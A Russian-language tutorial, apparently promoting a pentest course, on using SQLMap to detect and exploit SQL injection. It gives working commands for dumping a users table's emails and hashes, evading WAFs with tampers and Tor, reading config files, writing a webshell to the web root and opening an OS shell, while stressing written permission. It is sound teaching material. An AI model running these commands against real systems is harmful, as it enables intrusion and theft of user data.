SQLMap — это не “волшебная кнопка”, а инструмент, который ускоряет то, что вы и так понимаете. Он умеет находить и эксплуатировать SQL-инъекции, перечислять базы и таблицы, доставать данные, а в разрешённых условиях — читать/писать файлы и даже выполнять команды ОС.
Ключ — понимать, что именно делает SQLMap и зачем, а не слепо копировать чужие команды.
Из чего состоит работа SQLMap (в двух словах)
-
Пальпация параметров: выявляет, какие параметры запроса управляют SQL.
-
Детект движка БД: определяет DBMS (MySQL, PostgreSQL, MSSQL, Oracle и т.д.) и подбирает технику.
-
Техники инъекции: Boolean-based, Error-based, Union-based, Time-based, Stacked queries.
-
Эксплуатация: перечисление схем → выбор таблиц/столбцов → извлечение данных → (опционально) файловые/OS-фичи.
Быстрый старт: первый осознанный запуск
Минимум для проверки конкретного параметра:
sqlmap -u "https://site.tld/item.php?id=1" -p id --batch
-
-u
— целевой URL, -
-p id
— какой параметр тестируем, -
--batch
— не задавать вопросы (для скриптов/демо, в живых тестах лучше отвечать вручную).
Совет: всегда воспроизводите реальный запрос из Burp/браузера, а не “похожий”.
Как читать вывод SQLMap (и не теряться)
Обращайте внимание на:
-
Detected DBMS — правильно ли определён движок БД.
-
Injection type/technique — на какой технике сработало.
-
Payload — что именно подставлено.
-
Parameter — какой параметр уязвим (URL, POST, Cookie, Header).
Если детект “прыгает” — поднимите детализацию:-v 3
(или выше).
Практика: атака через реальный HTTP-запрос
Когда цель сложнее простого URL (сессии, заголовки, тело запроса), используйте сырой запрос:
sqlmap -r request.txt --batch
Где request.txt
— сохранённый из Burp запрос (с методами, куки, токенами и т.д.).
Полезные флаги рядом:
-
--cookie="SESSION=..."
/--headers="X-Token: ..."
-
--data="q=test&sort=asc"
(для POST/JSON можно--data
/--json
)
Перечисление и извлечение данных без лишнего шума
Чёткая последовательность:
sqlmap -r request.txt --dbs # какие базы
sqlmap -r request.txt -D appdb --tables # таблицы в appdb
sqlmap -r request.txt -D appdb -T users --columns # столбцы в users
sqlmap -r request.txt -D appdb -T users -C id,email,hash --dump # извлечь выборочно
Точечный --dump
экономит время, логи и не плодит ненужные дампы.
Когда “что-то не так”: отладка и устойчивость
-
Ошибки БД в ответе:
--parse-errors
покажет скрытые сообщения SQL. -
Чувствительность: увеличьте глубину тестов
--level 5 --risk 3
. -
Техники: сузьте поиск
--technique=BEUST
(например, толькоT
для time-based). -
Стабильность:
--timeout
,--retries
,--delay/--randomize
для шумных/хрупких целей. -
Вербозность:
-v 4..6
для детальной диагностики.
Обход WAF и фильтров (этично и аккуратно)
-
Маскировка:
--random-agent
,--proxy
, при необходимости--tor
. -
Тамперы (обфускация payload’ов):
--tamper=space2comment,charunicodeescape,between
и др. -
Дросселирование:
--delay 0.5
,--threads 1..
— чтобы не триггерить rate-limit.
Всегда соблюдайте правила теста: только с письменным разрешением и в оговорённые окна.
Файлы и команды ОС (только при явном разрешении)
-
Чтение файла:
--file-read="/var/www/html/config.php"
-
Запись файла:
--file-write=webshell.php --file-dest=/var/www/html/shell.php
-
Команды ОС:
--os-shell
(или--os-cmd="id"
для единичной команды)
Эти функции зависят от прав БД/сервера и допустимы лишь в рамках согласованного теста.
Небольшой чек-лист запуска SQLMap
-
Зафиксируйте реальный запрос в Burp → сохраните в
request.txt
. -
Определите параметр/вектор (URL/POST/Cookie/Header).
-
Проба:
sqlmap -r request.txt -p targetParam
. -
Уточните технику/уровень:
--technique=...
,--level/--risk
. -
Перечисляйте точечно:
--dbs → --tables → --columns → --dump -C
. -
Документируйте шаги, payload’ы и доказательства (скрины, логи).
-
В финале — рекомендации по защите (prepared statements, least privilege, скрытие ошибок SQL).
Хочешь уверенно владеть SQLMap без “копипасты из интернета”?
В модуле «SQLMap: с нуля» 9 уроков, из них 7 — практические стенды: от первого запуска и отладки до обхода WAF и выполнения команд ОС. Ты отработаешь реальные сценарии пентеста, а не абстракции.
📘 Понравилась статья?
Больше практики и реальных заданий — в Kraken Academy.
А чтобы точно ничего не пропустить — подпишись на наш Telegram-канал.
Рекомендуемые статьи
